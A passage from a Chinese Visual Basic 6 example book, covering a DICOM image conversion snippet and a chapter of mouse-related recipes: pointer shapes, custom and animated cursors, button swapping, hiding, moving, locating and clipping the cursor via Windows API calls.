    ezDICOMX1.DCMtoolbar = False                                            '不显示工具栏
    ezDICOMX1.DCMfilename = App.Path & "\IM_0001"                                '指定文件路径
End Sub




在CommandButton Cmd_Trans的Click事件中通过对ezDICOMX控件DCMsaveToFile方法的使用，实现图像格式的转换，代码如下：



Private Sub Cmd_Trans_Click()
    Dim str As String
    With CommonDialog1                                                    '复用语句
        .FileName = ""                                                    '清空文件名
        .CancelError = False                                                '“取消”不报错
        .Filter = "*.JPG|*.JPG"                                                '指定文件格式
        .ShowSave                                                        '打开保存对话框
        If .FileName <> "" Then                                                '选中文件不为空
            str = .FileName
            ezDICOMX1.DCMsaveToFile = str                                    '转换图像格式并生成文件
        End If
    End With
End Sub




秘笈心法

心法领悟434：指示当单击对话框中的“取消”按钮时是否出错。

将CommonDialog控件的CancelError属性设置为False，可以指示单击对话框中“取消”按钮不出错。当该属性设置为True时，无论何时单击“取消”按钮均产生32755 (cdlCancel)号错误。



第4篇　键盘鼠标篇

第14章　鼠标相关
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第14章　鼠标相关
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鼠标动作
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 14.1　鼠标指针和键



 实例435　定义鼠标指针形状

光盘位置：光盘\MR\14\435

初级

趣味指数：[image: ]




实例说明

在编写应用程序时，如果根据需要将鼠标设置为不同的形式，一定会给程序增色不少。在VB中，通过设置控件或窗体的MousePointer属性可以定义鼠标的显示形状，设置鼠标的形状为箭头和沙漏，如图14.1所示。

[image: ]
图14.1　定义鼠标指针形状



关键技术

本实例主要是通过设置窗体的MousePointer属性来实现的。在本实例中MousePointer属性设置为13，鼠标的样式为箭头和沙漏，对于MousePointer属性还可以设置其他的属性值，具体的属性值设定和参数如表14.1所示。

表14.1　MousePointer属性的设置值



	常数
	值
	说明



	vbDefault
	0
	（默认值）形状由对象决定



	vbArrow
	1
	箭头



	vbCrosshair
	2
	十字线



	vbIbeam
	3
	I型



	vbIconPointer
	4
	图标（矩形内的小矩形）



	vbSizePointer
	5
	尺寸线（指向东、南、西和北4个方向的箭头）



	vbSizeNESW
	6
	右上、左下尺寸线（指向东北和西南方向的双箭头）



	vbSizeNS
	7
	垂直尺寸线（指向南和北两个方向的双箭头）



	vbSizeNWSE
	8
	左上、右下尺寸线（指向东南和西北方向的双箭头）



	vbSizeWE
	9
	水平尺寸线（指向东和西两个方向的双箭头）



	vbUpArrow
	10
	向上的箭头



	vbHourglass
	11
	沙漏（表示等待状态）



	vbNoDrop
	12
	不允许放下



	vbArrowHourglass
	13
	箭头和沙漏



	vbArrowQuestion
	14
	箭头和问号



	vbSizeAll
	15
	四向尺寸线



	vbCustom
	16
	通过MouseIcon属性所指定的自定义图标




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“定义鼠标指针形状”，StartUpPosition属性设置为“2-屏幕中心”。

（3）设置鼠标的形状为箭头和沙漏的程序代码如下：



Private Sub Form_Load()
    Me.MousePointer = 13
End Sub




秘笈心法

心法领悟435：鼠标指针的设置小知识。

在VB中可以通过设置改变鼠标指针的样式，也可以设置鼠标指针的形状、设置鼠标为指定的图片和动画。



 实例436　自定义鼠标指针图标

光盘位置：光盘\MR\14\436

高级

趣味指数：[image: ]




实例说明

如果仅利用实例435中介绍的鼠标指针形状还是不能满足需要，可以利用控件或窗体的MouseIcon属性来设置鼠标，该属性可以将鼠标指针定义为*.ico或者*.cur的格式，在使用时应该首先将MousePointer属性设置为99（用户自定义形式的鼠标）。然后设置MouseIcon属性为需要的图标即可，如图14.2所示。

[image: ]
图14.2　设置鼠标为指定的图标



关键技术

通过将控件的MousePointer属性值设置为99-Custom，然后通过控件的MouseIcon属性选择指定的图片，可以将鼠标指针定义为指定的图片。

MousePointer属性用于返回或设置控件中自定义的鼠标指针图标，语法如下：



object.MouseIcon = LoadPicture(pathname)




参数说明

❶object：对象表达式。

❷pathname：字符串表达式，指定包含自定义图标文件的路径和文件名。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“设置鼠标为指定的图标”，StartUpPosition属性设置为“2-屏幕中心”。

（3）设置鼠标为指定的图标的程序代码如下：



Private Sub Form_Load()
    Me.MousePointer = 99
    Me.MouseIcon = LoadPicture(App.Path & "/1.ico")
End Sub




秘笈心法

心法领悟436：鼠标事件的响应小知识。

用户操作鼠标引发鼠标事件，对鼠标的动作作出反应就是对鼠标事件的响应。鼠标事件有Click、DblClick、MouseDown、MouseUp和MouseMove事件。



 实例437　设置鼠标为ani格式的动画

光盘位置：光盘\MR\14\437

高级

趣味指数：[image: ]




实例说明

在实际的开发中，还经常会遇到一种设置鼠标的文件格式：ani格式。VB中的MouseIcon属性并不能设置ani格式的鼠标，但是通过API可以设置ani格式的动画。这里主要利用LoadCursorFromFile函数创建一个ani格式的指针，其实现效果如图14.3所示。

[image: ]
图14.3　设置鼠标为ani格式的动画



关键技术

本实例的实现主要是通过使用API函数实现鼠标样式的动画效果，主要用到LoadCursorFromFile函数、DestroyCursor函数和SetClassLong函数。

（1）LoadCursorFromFile

在一个指针文件或一个动画指针文件（扩展名分别是.cur和.ani）的基础上创建一个指针，返回值为Long，执行成功则返回指向指针的一个句柄，0表示失败。如果失败，会将GetLastError设置为常数ERROR_FILE_ NOT_FOUND，语法如下：



Declare Function LoadCursorFromFile Lib "user32" Alias "LoadCursorFromFileA" (ByVal lpFileName As String) As Long




参数说明

lpFileName：String，包含指针的那个文件的名字。

（2）DestroyCursor

清除指定的鼠标指针，并释放它占用的所有系统资源。不要用这个函数清除随同LoadCursor函数载入的系统指针资源。返回值为Long，非0表示成功，0表示失败。如果失败，会设置GetLastError，语法如下：



Declare Function DestroyCursor Lib "user32" Alias "DestroyCursor" (ByVal hCursor As Long) As Long




参数说明

hCursor：Long，欲清除的指针对象的句柄。

（3）SetClassLong

为窗口类设置一个Long变量条目，Long，由nIndex指定的类信息的前一个值。0表示出错。如果出错，会设置GetLastError，语法如下：



Declare Function SetClassLong Lib "user32" Alias "SetClassLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As ) As Long




参数说明

❶hwnd：Long，欲为其设置类信息的那个窗口的句柄。

❷nIndex：Long，参考GetClassLong函数的nIndex参数说明。

❸dwNewLong：Long，类信息的新值，具体取决于nIndex。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“设置鼠标为ani格式的动画”，StartUpPosition属性设置为“2-屏幕中心”。

（3）设置鼠标为ani格式的动画的程序代码如下：



Private Declare Function LoadCursorFromFile Lib "user32" Alias "LoadCursorFromFileA" (ByVal lpFileName As String) As Long
Private Declare Function DestroyCursor Lib "user32" (ByVal hCursor As Long) As Long
Private Declare Function SetClassLong Lib "user32" Alias "SetClassLongA" (ByVal hwnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Const GCL_HCURSOR = (-12)
Dim AniCur As Long
Private Sub Form_Load()
    AniCur& = LoadCursorFromFile(App.Path & "\horse.ani")
    SetClassLong Me.hwnd, GCL_HCURSOR, AniCur
End Sub
Private Sub Form_Unload(Cancel As Integer)
    DestroyCursor AniCur
End Sub




秘笈心法

心法领悟437：鼠标单击和双击（Click事件和DblClick事件）小知识。

鼠标的Click事件是在用鼠标单击某个对象时发生的，鼠标的DblClick事件是在用鼠标双击某个对象时发生的。下面将详细介绍Click事件和DblClick事件的相关知识，语法如下：



Private Sub object_Click([index As Integer])
Private Sub object_DblClick ([index As Integer])




参数说明

❶object：一个对象表达式。

❷index：一个整数，用来唯一标识一个在控件数组中的控件。



 实例438　为无标题的窗体添加鼠标效果

光盘位置：光盘\MR\14\438

高级

趣味指数：[image: ]




实例说明

在无标题的窗体当鼠标移动到窗体的边缘时，鼠标不会产生效果，这里利用GetWindowRect函数获得窗体的矩形范围，然后利用GetCursorPos函数获得鼠标的位置，根据鼠标在矩形中的位置确定鼠标的形状，具体的效果如图14.4所示。

[image: ]
图14.4　为无标题的窗体添加鼠标效果



关键技术

本实例主要是通过使用API函数实现为无标题栏的窗体添加鼠标效果，这里主要用到GetWindowRect函数和GetCursorPos函数。

GetWindowRect函数用于获得整个窗口的范围矩形，窗口的边框、标题栏、滚动条及菜单等都在这个矩形内，函数的返回值为Long，非0表示成功，0表示失败；如果失败，会设置GetLastError，语法如下：



Declare Function GetWindowRect Lib "user32" Alias "GetWindowRect" (ByVal hwnd As Long, lpRect As RECT) As Long




参数说明

❶hwnd：Long，想获得范围矩形的那个窗口的句柄。

❷lpRect：RECT，屏幕坐标中随同窗口装载的矩形。

结构RECT声明方法如下：



[Public | Private] Type RECT
    Left As Long
    Top As Long
    Right As Long
    Bottom As Long
End Type





说明：
 GetCursorPos函数的详细讲解请参见实例058中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“为无标题的窗体添加鼠标效果”，StartUpPosition属性设置为“2-屏幕中心”。

（3）主要程序代码如下：



Private Declare Function GetWindowRect Lib "user32" (ByVal hwnd As Long, lpRect As Rect) As Long
Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Type POINTAPI
    X As Long
    Y As Long
End Type
Private Type Rect
    Left As Long
    Top As Long
    Right As Long
    Bottom As Long
End Type
Dim Action As String
Private Sub Timer1_Timer()
    Dim Rect As Rect
    Dim Point As POINTAPI
    Call GetWindowRect(Me.hwnd, Rect)                        'Rect返回当前窗口位置
    Call GetCursorPos(Point)                               'Point返回当前鼠标位置
    Select Case True
        Case Point.X < Rect.Left + 5 And Point.Y < Rect.Top + 5         '鼠标位于窗体左上方
            Screen.MousePointer = vbSizeNWSE               '45度双向鼠标
            Action = "LeftUp"
        Case Point.X > Rect.Right - 5 And Point.Y > Rect.Bottom - 5      '鼠标位于窗体右下方
            Screen.MousePointer = vbSizeNWSE
            Action = "RightDown"
        Case Point.X > Rect.Right - 5 And Point.Y < Rect.Top + 5        '鼠标位于窗体右上方
            Screen.MousePointer = vbSizeNESW
            Action = "RightUp"
        Case Point.X < Rect.Left + 5 And Point.Y > Rect.Bottom - 5       '鼠标位于窗体左下方
            Screen.MousePointer = vbSizeNESW
            Action = "LeftDown"
        Case Point.X < Rect.Left + 5                        '鼠标位于窗体的左侧
            Screen.MousePointer = vbSizeWE
            Action = "Left"
        Case Point.X > Rect.Right - 5                        '鼠标位于窗体的右侧
            Screen.MousePointer = vbSizeWE
            Action = "Right"
        Case Point.Y < Rect.Top + 5                         '鼠标位于窗体的上面
            Screen.MousePointer = vbSizeNS                    '垂直双向鼠标指针
            Action = "Up"
        Case Point.Y > Rect.Bottom - 5                      '鼠标位于窗体底部
            Screen.MousePointer = vbSizeNS
            Action = "Down"
        Case Else                                  '鼠标移动
            Screen.MousePointer = 0                       '默认鼠标指针
            Action = "Move"
    End Select
End Sub




秘笈心法

心法领悟438：鼠标按下和抬起（MouseDown事件和MouseUp事件）小知识。

MouseDown事件是当按下鼠标按钮时触发MouseDown事件，MouseDown事件是鼠标事件中常用的事件。MouseUp事件是当用户在对象上释放鼠标按键时发生MouseUp事件，语法分别如下：



private Sub Form_MouseDown(Button As Integer,Shift As Integer,X As Single,Y As Single)
private Sub Form_MouseUp(Button As Integer.Shift As Integer,X As Single,Y As Single)




参数说明

Button：返回一个整数，该整数用于标识按下的鼠标键是哪一个键（左键、右键或中间键）。



 实例439　实现大十字光标的形式

光盘位置：光盘\MR\14\439

高级

趣味指数：[image: ]




实例说明

在利用VB开发一个绘图程序时，需要将绘图区域内的鼠标光标设置为像AutoCAD中使用的大十字光标的形式，即光标中的横线从控件的左边界到右边界，竖线从控件的上边界到下边界，大十字光标将绘图控件分割为4个象限。当鼠标移动到控件外时，光标则又恢复成原来的形式。下面是用Visual Basic 6.0实现的大十字光标形式，程序的运行效果如图14.5所示。

[image: ]
图14.5　实现大十字光标的形式



关键技术

本实例主要是通过使用QBColor函数和PictureBox控件的Line方法在窗体上画X轴和Y轴来实现的。

QBColor函数用于返回一个Long，用来表示所对应颜色值的RGB颜色码，语法如下：



QBColor(color)




参数说明

color：必选参数。color参数是一个介于0～15的整型。

color参数的设置如表14.2所示。

表14.2　color参数的设置



	值
	颜色
	值
	颜色



	0
	黑色
	8
	灰色



	1
	蓝色
	9
	亮蓝色



	2
	绿色
	10
	亮绿色



	3
	青色
	11
	亮青色



	4
	红色
	12
	亮红色



	5
	洋红色
	13
	亮洋红色



	6
	黄色
	14
	亮黄色



	7
	白色
	15
	亮白色





说明：
 Line方法的详细讲解请参见实例102中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“实现大十字光标的形式”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个PictureBox控件，名称命名为picDraw，AutoSize属性设置为True，并设置Picture属性。

（4）主要程序代码如下：



Private Sub Form_Load()
    CrossColor = QBColor(8)
    PenColor = QBColor(15)
    picDraw.DrawMode = vbXorPen
    picDraw.MousePointer = 2
    Flag = False
    Box_X0 = Box_X1 = Box_Y0 = Box_Y1 = 0
End Sub
 
Private Sub picDraw_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single)
    If Flag = True Then
        '先前已经用鼠标定义了一个点
        Box_X1 = x
        Box_Y1 = y
        Flag = False
        picDraw.DrawMode = vbCopyPen
        picDraw.Line (Box_X0, Box_Y0)-(Box_X1, Box_Y1), PenColor, B
        picDraw.DrawMode = vbXorPen
        '画一个光标
        picDraw.Line (0, y)-(picDraw.ScaleWidth, y), CrossColor
        picDraw.Line (x, 0)-(x, picDraw.ScaleHeight), CrossColor
        Old_X = x
        Old_Y = y
    Else
        '定义了一个矩形的第一个顶点，则擦除光标
        picDraw.Line (0, y)-(picDraw.ScaleWidth, y), CrossColor
        picDraw.Line (x, 0)-(x, picDraw.ScaleHeight), CrossColor
        Box_X0 = x
        Box_Y0 = y
        Flag = True
    End If
End Sub
 
Private Sub picDraw_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
    If Flag = True Then
        '拖动鼠标来定义矩形的另外一个顶点，此时擦除前一个矩形，绘制新的矩形
        picDraw.Line (Box_X0, Box_Y0)-(Old_X, Old_Y), PenColor, B
        picDraw.Line (Box_X0, Box_Y0)-(x, y), PenColor, B
    Else
        '消除旧光标线
        picDraw.Line (0, Old_Y)-(picDraw.ScaleWidth, Old_Y), CrossColor
        picDraw.Line (Old_X, 0)-(Old_X, picDraw.ScaleHeight), CrossColor
        '画新的光标线
        picDraw.Line (0, y)-(picDraw.ScaleWidth, y), CrossColor
        picDraw.Line (x, 0)-(x, picDraw.ScaleHeight), CrossColor
    End If
    Old_X = x
    Old_Y = y
End Sub




秘笈心法

心法领悟439：逻辑运算符小知识。

逻辑运算符也称为布尔运算符，用于Boolean数据类型的运算，产生逻辑结果（True或者False）。逻辑运算符也可以将数值型数据进行位运算，先将参加运算的数据转换16位整型或者32位长整型两种二进制数据，然后再进行位运算，如果是浮点型数据则先四舍五入为整数后再转换为二进制数据进行运算。



 实例440　交换鼠标的左右键

光盘位置：光盘\MR\14\440

高级

趣味指数：[image: ]




实例说明

要想交换鼠标的左右键可以通过API函数中的SwapMouseButton函数来实现，该函数用于决定是否交换左右键的功能。其中，当参数bSwap为True（非0），则交换鼠标的左右键，当该参数设置为False时，则恢复正常状态。在使用时应特别注意，鼠标属于共享资源，一旦改变将对系统中的所有程序造成影响，程序的运行界面如图14.6所示。

[image: ]
图14.6　交换鼠标的左右键



关键技术

本实例主要是通过使用API函数SwapMouseButton实现鼠标左右键互换的功能。

SwapMouseButton函数决定是否互换鼠标左右键的功能，返回值为Long，True（非0）表示鼠标按钮的功能在调用这个函数之前已经互换；否则返回0，语法如下：



Declare Function SwapMouseButton Lib "user32" Alias "SwapMouseButton" (ByVal bSwap As Long) As Long




参数说明

bSwap：Long，倘若为True（非0），则互换两个鼠标按钮的功能。False则恢复正常状态。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“交换鼠标的左右键”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个CommandButton控件，名称均使用默认名称，将Caption属性分别设置为“交换”和“还原”。

（4）主要程序代码如下：



Private Declare Function SwapMouseButton Lib "user32" (ByVal bSwap As Long) As Long
Private Sub Command1_Click()
    bSwsp = True
    SwapMouseButton (bSwsp)                    'bSwsp值为True，交换鼠标的左右键
End Sub
Private Sub Command2_Click()
    bSwsp = False
    SwapMouseButton (bSwsp)                    'bSwsp值为False，则恢复正常状态
End Sub




秘笈心法

心法领悟440：API函数SwapMouseButton小知识。

鼠标是一种共享资源，所以使用API函数SwapMouseButton实现鼠标左右键互换会对系统中的所有应用程序造成影响。



 实例441　判断鼠标按下键值

光盘位置：光盘\MR\14\441

初级

趣味指数：[image: ]




实例说明

通过API函数GetSystemMetrics可以返回一些与Windows环境有关的信息，当给该函数赋一个常数SM_ CMOUSEBUTTONS时，其返回值就是鼠标的键数，如果该函数的返回值为0，那么系统中没有鼠标，程序的运行界面如图14.7所示。

[image: ]
图14.7　获取鼠标键数



关键技术

本实例主要是通过使用API函数GetSystemMetrics返回与Windows环境有关的信息来实现的，其中传递SM_CMOUSEBUTTON参数可以获取鼠标按钮（按键）的数量。

GetSystemMetrics函数用于返回与Windows环境有关的信息，返回值为Long，取决于具体的常数索引，语法如下：



Declare Function GetSystemMetrics Lib "user32" Alias "GetSystemMetrics" (ByVal nIndex As Long) As Long




GetSystemMetrics函数的参数说明如表14.3所示。

表14.3　GetSystemMetrics函数的参数说明



	设置值
	描述



	SM_ARRANGE
	设置Windows如何排列最小化窗口的一个标志。参考api32.txt中的ARW常数



	SM_CLEANBOOT
	指定启动模式。0=普通模式；1=带网络支持的安全模式



	SM_CMETRICS
	可用系统环境的数量



	SM_CMOUSEBUTTON
	鼠标按钮（按键）的数量。如没有鼠标就为0



	SM_CXBORDER
	尺寸不可变边框的大小



	SM_CXCURSOR
	标准指针大小




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“获取鼠标键数”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个CommandButton控件，名称均使用默认名称，Caption属性分别设置为“获取”和“退出”。

（4）在窗体上添加一个Label控件，名称为Label1，并设置Font属性。

（5）主要程序代码如下：



Private Declare Function GetSystemMetrics Lib "user32" (ByVal nIndex As Long) As Long
Private Const SM_CMOUSEBUTTONS = 43
Private Sub Command1_Click()                                        '获取鼠标键数
    Dim mousebtn As Long
    mousebtn = GetSystemMetrics(SM_CMOUSEBUTTONS)
    Label1.Caption = "你的鼠标是 " & mousebtn & " 键鼠标!"
End Sub




秘笈心法

心法领悟441：双击事件小知识。

双击区域指定屏幕上一个特定的显示区域，只有在这个区域内连续进行两次鼠标单击，才有可能被当作双击事件处理。


 14.2　鼠标动作



 实例442　移动鼠标

光盘位置：光盘\MR\14\442

初级

趣味指数：[image: ]




实例说明

通过API函数SetCursorPos可以将鼠标移动到指定的位置。该函数的两个参数用来指定坐标位置，值为屏幕坐标系统中的坐标值。本实例中，单击“移动鼠标”按钮即可将鼠标移动到屏幕的左上角，程序的运行界面如图14.8所示。

[image: ]
图14.8　移动鼠标



关键技术

本实例的实现主要是通过使用API函数SetCursorPos设置鼠标指针的位置，下面具体介绍该函数。

SetCursorPos函数用于设置指针的位置，返回值为Long，非0表示成功，0表示失败，语法如下：



Declare Function SetCursorPos Lib "user32" Alias "SetCursorPos" (ByVal x As Long, ByVal y As Long) As Long




参数说明

x,y：鼠标指针在屏幕像素坐标系统中的X，Y位置。

例如，下面代码，将鼠标位置设置为（0,0）。



Call SetCursorPos (0, 0)




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“移动鼠标”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个CommandButton控件，名称均使用默认名称，Caption属性分别设置为“移动鼠标”和“退出”。

（4）在窗体上添加一个Label控件，名称为Label1，并设置Font属性。

（5）主要程序代码如下：



Private Declare Function SetCursorPos Lib "user32" (ByVal x As Long, ByVal y As Long) As Long
Private Sub Command1_Click()    '移动鼠标
    Label1.Caption = "鼠标在屏幕的左上角！"
    SetCursorPos 0, 0
End Sub




秘笈心法

心法领悟442：鼠标拖放（OLE拖放操作）小知识。

鼠标的拖放操作是在Windows操作系统下经常使用的操作，例如，将一个文件拖放到另一个文件夹中。在VB应用程序中，可以通过OLE拖放技术实现在控件和控件之间、控件和其他Windows应用程序之间拖动文本和图形的功能。在使用OLE拖放技术时，并不是把一个控件拖动到另一个控件并调用代码，而是将数据从一个控件或应用程序移动到另一个控件或应用程序当中。例如，可以选择并拖动Excel中的一个单元范围，然后将它们放到应用程序的DataGrid控件上。



 实例443　鼠标的显示与隐藏

光盘位置：光盘\MR\14\443

高级

趣味指数：[image: ]




实例说明

鼠标的显示与隐藏可以通过API函数ShowCursor来设置。该函数用于控制鼠标指针的可视性。如果参数bShow为True，每调用一次这个函数，Windows的计数器都会自动加1；如果bShow参数为Fasle，计数器都会自动减1。只有这个计数大于或等于0的情况下，鼠标指针才会显示出来，程序的运行界面如图14.9所示。

[image: ]
图14.9　鼠标的显示与隐藏



关键技术

本实例主要是通过使用API函数ShowCursor控制鼠标指针的可视性来实现的，下面介绍该函数。

ShowCursor函数用于控制鼠标指针的可视性，返回值为Long，显示计数，语法如下：



Declare Function ShowCursor Lib "user32" Alias "ShowCursor" (ByVal bShow As Long) As Long




参数说明

bShow：Long，True（非0）显示指针，False隐藏。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“鼠标的显示与隐藏”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个CommandButton控件，名称均使用默认名称，Caption属性分别设置为“隐藏鼠标”和“显示鼠标”。

（4）主要程序代码如下：



Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
Dim curcursor As Long
Private Sub Command1_Click()                            '隐藏鼠标
    lReturned = ShowCursor(0)
    Command2.SetFocus
End Sub
Private Sub Command2_Click()                            '显示鼠标
    lReturned = ShowCursor(1)
End Sub




秘笈心法

心法领悟443：API函数ShowCursor小知识。

Windows维持着一个内部显示计数；如果bShow为True，那么每调用一次这个函数，计数就会递增1；反之，如果bShow为False，则计数递减1。只有在这个计数大于或等于0的情况下，指针才会显示出来。



 实例444　获得窗体上鼠标的位置

光盘位置：光盘\MR\14\444

高级

趣味指数：[image: ]




实例说明

当鼠标在窗体上移动时，就会触发MouseMove事件，在窗体的MouseMove事件中有X和Y两个参数，分别表示当前鼠标的横坐标和纵坐标，利用这两个参数就可以获得鼠标当前的位置，程序的运行效果如图14.10所示。

[image: ]
图14.10　获得窗体上鼠标的位置



关键技术

本实例主要是通过鼠标在窗体上移动时触发MouseMove事件，然后通过X和Y这两个参数显示当前鼠标的横坐标和纵坐标来实现的。

MouseMove事件在移动鼠标时发生，语法如下：



Private Sub object_MouseMove([index As Integer,] button As Integer, shift As Integer, x As Single, y As Single)




MouseMove事件的参数说明如表14.4所示。

表14.4　MouseMove事件的参数说明



	参数
	说明



	object
	一个对象表达式



	index
	一个整数，用来唯一地标识一个在控件数组中的控件



	button
	一个整数，它对应鼠标各个按钮的状态，如果某个按钮按下，其中就有一个二进制位被设置。button参数是具有相应于左按钮（位0）、右按钮（位1）以及中间按钮（位2）的一个位字段。这些位的值分别等于1、2和4。它指示这些鼠标按钮的整体状态；3个二进制位中的一些、全部或一个也没有被设置，指示这些按钮中的一些、全部或一个也没有被按下



	shift
	一个整数，该整数相应于Shift、Ctrl和Alt键的状态。某键被按下使得一个二进制位被设置。shift参数是具有相应于Shift键（位0）、Ctrl键（位1），以及Alt键（位2）最少二进制位的一个位字段。这些位的值分别等于1、2和4。shift参数指示这些键的状态。这些位中可能有一些、全部或者一个也没有被设置，指示这些键中的一些、全部，或者一个也没有被按下。例如，Ctrl和Alt键都被按下，则shift的值就是6



	x, y
	一个指定鼠标指针当前位置的数。x和y的值所表示的总是通过该对象ScaleHeight、ScaleWidth、ScaleLeft和ScaleTop属性所建立的坐标系统的方式




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“获取窗体上鼠标的位置”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加一个Label控件，名称使用其默认名称，Caption属性设置为“当前鼠标的位置为：”，并设置Font属性。

（4）主要程序代码如下：



Private Sub Form_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)
    Label1.Caption = "当前鼠标的位置为：  X=" & X & ", Y=" & Y
End Sub




秘笈心法

心法领悟444：鼠标拖放（OLE拖放操作）的DragMode属性小知识。

DragMode属性返回或设置一个值，确定在拖放操作中所用的是手动还是自动拖动方式。当DragMode属性值设置为1时，则启用自动拖动模式。

当用户在源对象上按住鼠标左键同时拖动鼠标，对象的图标便随鼠标指针移动到目标对象上，当释放鼠标时在目标对象上产生DragDrop事件。



 实例445　获得屏幕上鼠标的位置

光盘位置：光盘\MR\14\445

高级

趣味指数：[image: ]




实例说明

当鼠标在窗体上移动时，可以通过窗体的MouseMove事件来获取鼠标当前的位置。那么，如果鼠标在屏幕上移动时，该如何获得当前鼠标的位置呢？可以通过API函数GetCursorPos来获得鼠标指针的当前位置。该函数只有一个参数lpPoint，该参数为随同指针在屏幕像素坐标中的位置载入的一个POINTAPI结构，程序的运行效果如图14.11所示。

[image: ]
图14.11　获取屏幕上鼠标的位置



关键技术

本实例的实现主要是通过使用Timer控件控制间断时间执行程序，利用API函数GetCursorPos和POINTAPI获取鼠标指针的当前位置，并将它显示出来。

POINTAPI结构对应于Windows的POINT结构，在VB中定义为POINTAPI，从而避免与VB的Point关键字冲突，用于描述一个位置（即屏幕点），与RECT结构相同，x和y字段的单位取决于准备使用的对象与api函数，类型定义语法如下：



Type POINTAPI
x As Long
y As Long
End Type





说明：
 GetCursorPos函数的详细讲解请参见实例058中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“获取屏幕上鼠标的位置”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，名称均使用其默认名称，Caption属性设置为“当前鼠标的位置：”，并设置Font属性。

（4）在窗体上添加一个Timer控件，用来控制当鼠标移动时显示屏幕上鼠标的位置。

（5）主要程序代码如下：



Private Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Private Type POINTAPI
    x As Long
    y As Long
End Type
Private Sub Form_Load()
Timer1.Interval = 60
End Sub
Private Sub Timer1_Timer()
    Dim P1 As POINTAPI
    GetCursorPos P1
    Label2.Caption = "X= " & P1.x & ", Y= " & P1.y
End Sub




秘笈心法

心法领悟445：鼠标拖放（OLE拖放操作）的DragIcon属性小知识。

DragIcon属性用于指定在拖动过程中显示的对象的图标。在拖动对象时，并不是对象在移动，而是对象的图标在移动。当对对象的DragIcon属性进行设置后，拖动对象时显示的拖动图标为设置的图片，释放对象后恢复为原来的对象样式。可以在属性窗口进行设置，也可以在程序中进行赋值。如果DragIcon属性值为空，则在拖动控件时，随鼠标移动的是被拖动控件的边框。



 实例446　限制鼠标在某一区域工作

光盘位置：光盘\MR\14\446

高级

趣味指数：[image: ]




实例说明

通过API函数ClipCursor可以将鼠标的活动区域限制在某一范围内。这个区域是lpRect参数所指定的矩形区域。运行程序，当单击“限制鼠标在窗体内”按钮时将鼠标限制在窗体的范围内，单击“取消限制”按钮将解除对鼠标的限制，程序的运行效果如图14.12所示。

[image: ]
图14.12　限制鼠标在某一区域工作



关键技术

本实例主要是通过使用用户自定义类型设置鼠标的移动范围区域，再利用API函数ClipCursor将指针限制到该指定区域来实现的。

（1）ClipCursor函数

将指针限制到指定区域，返回值为Long，非0表示成功，0表示失败，语法如下：



Declare Function ClipCursor& Lib "user32" (lpRect As RECT)




参数说明

lpRect：RECT，指定一个矩形，用像素屏幕坐标系统表示。鼠标指针必须在这个区域内运动。如使用函数的ClipCursorBynum形式，则可将参数设为Long值，用它传递一个0，禁止指针剪切，恢复常规运作状态。

（2）自定义数据类型

自定义数据类型也称记录类型，为了方便对数据类型的描述，用户在定义数据类型时可以使用Visual Basic中的一个或多个标准数据类型，也可以使用一个或多个用户先前声明的自定义类型来定义新的数据类型。自定义数据类型通过Type语句进行定义，语法如下：



[Private | Public] Type 数据类型名
    数据类型元素名 As 类型名
    数据类型元素名 As 类型名
    …
End Type




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“限制鼠标在某一区域工作”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个CommandButton控件，名称均使用默认名称，Caption属性分别设置为“限制鼠标在窗体内”和“取消限制”。

（4）主要程序代码如下：



Private Declare Function ClipCursor Lib "user32" (lpRect As Any) As Long
Private Type RECT
    Left As Long
    Top As Long
    Right As Long
    Bottom As Long
End Type
Dim mouse As RECT
Private Sub Command1_Click()    '限制鼠标在窗体范围内
    mouse.Left = Me.Left / Screen.TwipsPerPixelX
    mouse.Top = Me.Top / Screen.TwipsPerPixelY
    mouse.Right = (Me.Left + Me.Width) / Screen.TwipsPerPixelX
    mouse.Bottom = (Me.Top + Me.Height) / Screen.TwipsPerPixelY
    ClipCursor mouse
End Sub
Private Sub Command2_Click()    '取消限制
    mouse.Left = 0: mouse.Top = 0
    mouse.Right = (Screen.Width) / Screen.TwipsPerPixelX
    mouse.Bottom = (Screen.Height) / Screen.TwipsPerPixelY
    ClipCursor mouse
End Sub




秘笈心法

心法领悟446：鼠标拖放（OLE拖放操作）的OLEDropAllowed属性小知识。

